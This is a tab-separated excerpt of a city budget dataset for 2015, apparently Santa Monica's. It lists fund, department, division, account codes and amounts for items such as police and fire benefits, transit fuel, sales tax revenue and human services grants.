14489	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565261.0	OPCC-SOJOURN-GENERAL FUND		 Supplies and Expenses	2015	53878.0	0	0	0	0	0	0.0	0	0	0	0	0.0	53878.0
14490	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2015	7500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7500.0
14491	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544190.0	USAR SUPPLIES	806.0	 Supplies and Expenses	2015	11775.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11775.0
14492	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2015	195838.0	0	0	0	0	0	0.0	0	0	0	0	0.0	195838.0
14493	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2015	81069.0	0	0	0	0	0	0.0	0	0	0	0	0.0	81069.0
14494	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2015	10850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10850.0
14495	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2015	179020.0	0	0	0	0	0	0.0	0	0	0	0	0.0	179020.0
14496	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	29232.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29232.0
14497	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	9885.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9885.0
14498	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562120.0	CONNECTIONS FOR CHILDREN		 Supplies and Expenses	2015	45446.0	0	0	0	0	0	0.0	0	0	0	0	0.0	45446.0
14499	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562121.0	COMPREHENSIVE CHILD CARE PROG		 Supplies and Expenses	2015	875144.0	0	0	0	0	0	0.0	0	0	0	0	0.0	875144.0
14500	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533660.0	CONF / MTGS / TRAVEL-SH	804.0	 Supplies and Expenses	2015	7268.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7268.0
14501	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14502	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2015	671094.0	0	0	0	0	0	0.0	0	0	0	0	0.0	671094.0
14503	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2015	663785.0	0	0	0	0	0	0.0	0	0	0	0	0.0	663785.0
14504	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2015	81209.0	0	0	0	0	0	0.0	0	0	0	0	0.0	81209.0
14505	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2015	3048890.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3048890.0
14506	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	122726.0	0	0	0	0	0	0.0	0	0	0	0	0.0	122726.0
14507	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	158349.0	0	0	0	0	0	0.0	0	0	0	0	0.0	158349.0
14508	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	59810.0	0	0	0	0	0	0.0	0	0	0	0	0.0	59810.0
14509	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402750.0	TDA SALES TAX-OPERATIONS	658.0	Sales Tax	2015	-18495804.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-18495804.0
14510	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522620.0	RENT	808.0	 Supplies and Expenses	2015	250761.0	0	0	0	0	0	0.0	0	0	0	0	0.0	250761.0
14511	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578080.0	TRANSIT MALL MAINTENANCE		 Supplies and Expenses	2015	-101284.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-101284.0
14512	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2015	-25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-25000.0
14513	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407506.0	FED CAPITAL GRANTS-MISC	657.0	Capital Grants	2015	-960000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-960000.0
14514	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400400.0	FIELD CONCESSION & STORAGE	612.0	Charges for Service	2015	-19400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-19400.0
14515	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522974.0	LNG FUEL-REVENUE VEHICLES		 Supplies and Expenses	2015	5861030.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5861030.0
14516	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2015	41758.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41758.0
14517	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2015	6077.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6077.0
14518	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	42449.0	0	0	0	0	0	0.0	0	0	0	0	0.0	42449.0
14519	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511681.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14520	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2015	6713328.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6713328.0
14521	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2015	12658.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12658.0
14522	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	14160.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14160.0
14523	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	203494.0	0	0	0	0	0	0.0	0	0	0	0	0.0	203494.0
14524	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	82131.0	0	0	0	0	0	0.0	0	0	0	0	0.0	82131.0
14525	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	319692.0	0	0	0	0	0	0.0	0	0	0	0	0.0	319692.0
14526	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	762611.0	0	0	0	0	0	0.0	0	0	0	0	0.0	762611.0
14527	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	1469688.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1469688.0
14528	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2015	82431.0	0	0	0	0	0	0.0	0	0	0	0	0.0	82431.0
14529	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2015	124532.0	0	0	0	0	0	0.0	0	0	0	0	0.0	124532.0
14530	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2015	14020.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14020.0
14531	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2015	37100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37100.0
14532	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	127168.0	0	0	0	0	0	0.0	0	0	0	0	0.0	127168.0
14533	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	19470.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19470.0
14534	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400420.0	SKATE PARK	612.0	Charges for Service	2015	-30200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-30200.0
14535	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	407550.0	FIRE COMMERCIAL INSPECT FEES	612.0	Charges for Service	2015	-578917.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-578917.0
14536	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522961.0	FUEL-SERVICE VEHICLES		 Supplies and Expenses	2015	102500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	102500.0
14537	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522986.0	CNG FUEL-SERVICE VEHICLES		 Supplies and Expenses	2015	6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6000.0
14538	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511710.0	MEDICARE EMPLOYER CONTRIBUTION	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14539	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566130.0	POLICE ADMIN-DONATION	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14540	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	1076733.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1076733.0
14541	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511681.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14542	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511681.0	VACANCY SAVINGS	812.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14543	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2015	23689.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23689.0
14544	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	1729.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1729.0
14545	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	-85120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-85120.0
14546	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	164.0	0	0	0	0	0	0.0	0	0	0	0	0.0	164.0
14547	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522130.0	UTILITIES - WATER	804.0	 Supplies and Expenses	2015	52039.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52039.0
14548	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404220.0	OTHER OPER REV-MISCELLANEOUS	650.0	Charges for Service	2015	-44000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-44000.0
14549	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404820.0	PROP A SALES TAX	658.0	Sales Tax	2015	-12259652.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12259652.0
14550	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407030.0	PROP C FOOTHILL MITIGATION	658.0	Sales Tax	2015	-556830.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-556830.0
14551	BA	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	407320.0	MALL PARKING LEVY	622.0	Other	2015	-605918.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-605918.0
14552	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401230.0	COMMUNITY GARDENS RENTALS	618.0	Rentals	2015	-12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12000.0
14553	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	568040.0	REIMBURSE FUND 13	866.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14554	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2015	11031.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11031.0
14555	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		PRINTING - GENERAL		 Supplies and Expenses	2015	27300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	27300.0
14556	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	407170.0	LA COUNTY PROP A O&M REIMB	610.0	Intergovernmental	2015	-30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-30000.0
14557	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	555090.0	SPECIAL INSPECTOR PROGRAM	816.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14558	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522840.0	FUEL AND OIL TAXES-SVC EQUIP		 Supplies and Expenses	2015	15375.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15375.0
14559	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	679541.0	0	0	0	0	0	0.0	0	0	0	0	0.0	679541.0
14560	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	502973.0	0	0	0	0	0	0.0	0	0	0	0	0.0	502973.0
14561	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2015	5310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5310.0
14562	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	8850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8850.0
14563	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14564	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	172437.0	0	0	0	0	0	0.0	0	0	0	0	0.0	172437.0
14565	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	336817.0	0	0	0	0	0	0.0	0	0	0	0	0.0	336817.0
14566	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	53775.0	0	0	0	0	0	0.0	0	0	0	0	0.0	53775.0
14567	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	117547.0	0	0	0	0	0	0.0	0	0	0	0	0.0	117547.0
14568	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2015	153422.0	0	0	0	0	0	0.0	0	0	0	0	0.0	153422.0
14569	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2015	463152.0	0	0	0	0	0	0.0	0	0	0	0	0.0	463152.0
14570	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511749.0	VISION	806.0	Salaries and Wages	2015	22967.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22967.0
14571	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511748.0	DENTAL	804.0	Salaries and Wages	2015	10618.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10618.0
14572	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511748.0	DENTAL	804.0	Salaries and Wages	2015	7947.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7947.0
14573	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	263955.0	0	0	0	0	0	0.0	0	0	0	0	0.0	263955.0
14574	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14575	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2015	10480.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10480.0
14576	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2015	187609.0	0	0	0	0	0	0.0	0	0	0	0	0.0	187609.0
14577	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2015	329205.0	0	0	0	0	0	0.0	0	0	0	0	0.0	329205.0
14578	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	603276.0	0	0	0	0	0	0.0	0	0	0	0	0.0	603276.0
14579	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	12320.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12320.0
14580	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	38660.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38660.0
14581	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2015	19400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19400.0
14582	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2015	323118.0	0	0	0	0	0	0.0	0	0	0	0	0.0	323118.0
14583	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2015	394057.0	0	0	0	0	0	0.0	0	0	0	0	0.0	394057.0
14584	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511743.0	MEDICAL - MISC. EMPL	840.0	Salaries and Wages	2015	386039.0	0	0	0	0	0	0.0	0	0	0	0	0.0	386039.0
14585	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511773.0	RETIREMENT - MISC. EMPL	840.0	Salaries and Wages	2015	308898.0	0	0	0	0	0	0.0	0	0	0	0	0.0	308898.0
14586	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511773.0	RETIREMENT - MISC. EMPL	840.0	Salaries and Wages	2015	763896.0	0	0	0	0	0	0.0	0	0	0	0	0.0	763896.0
14587	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511746.0	MED TRUST - MISC. EMPL	840.0	Salaries and Wages	2015	38590.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38590.0
14588	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511749.0	VISION	806.0	Salaries and Wages	2015	18165.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18165.0
14589	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2015	2213.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2213.0
14590	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511747.0	CASH-IN-LIEU	806.0	Salaries and Wages	2015	3600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3600.0
14591	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511747.0	CASH-IN-LIEU	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14592	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511748.0	DENTAL	804.0	Salaries and Wages	2015	16987.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16987.0
14593	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2015	915.0	0	0	0	0	0	0.0	0	0	0	0	0.0	915.0
14594	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511749.0	VISION	804.0	Salaries and Wages	2015	2191.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2191.0
14595	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511748.0	DENTAL	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14596	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
14597	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	91782.0	0	0	0	0	0	0.0	0	0	0	0	0.0	91782.0
14598	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561201.0	CHRYSALIS-EMPLOY ASST-GEN FUND		 Supplies and Expenses	2015	236857.0	0	0	0	0	0	0.0	0	0	0	0	0.0	236857.0
14599	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562341.0	SMC- The Pico Promise		 Supplies and Expenses	2015	141782.0	0	0	0	0	0	0.0	0	0	0	0	0.0	141782.0
14600	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563141.0	SM/MAL-MEALS ON WHEELS-GEN FND		 Supplies and Expenses	2015	48973.0	0	0	0	0	0	0.0	0	0	0	0	0.0	48973.0
14601	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	564111.0	CASE MANAGEMENT AND EDUCATION		 Supplies and Expenses	2015	93173.0	0	0	0	0	0	0.0	0	0	0	0	0.0	93173.0
14602	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565232.0	DOMESTIC VIOLENCE PROGRAM		 Supplies and Expenses	2015	79645.0	0	0	0	0	0	0.0	0	0	0	0	0.0	79645.0
14603	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2015	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
14604	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2015	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
14605	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544280.0	HAZ-MAT SUPPLIES	806.0	 Supplies and Expenses	2015	11775.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11775.0
14606	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	402740.0	SMURRF-CITY OF LA-CAPITAL	662.0	Other	2015	-161662.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-161662.0
14607	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401480.0	BILLABLE SERVICES	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14608	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2015	235727.0	0	0	0	0	0	0.0	0	0	0	0	0.0	235727.0
14609	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2015	1487036.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1487036.0
14610	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2015	3617.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3617.0
14611	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	136077.0	0	0	0	0	0	0.0	0	0	0	0	0.0	136077.0
14612	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511681.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14613	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544171.0	PARTICIPANT UNIFORMS	810.0	 Supplies and Expenses	2015	3788.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3788.0
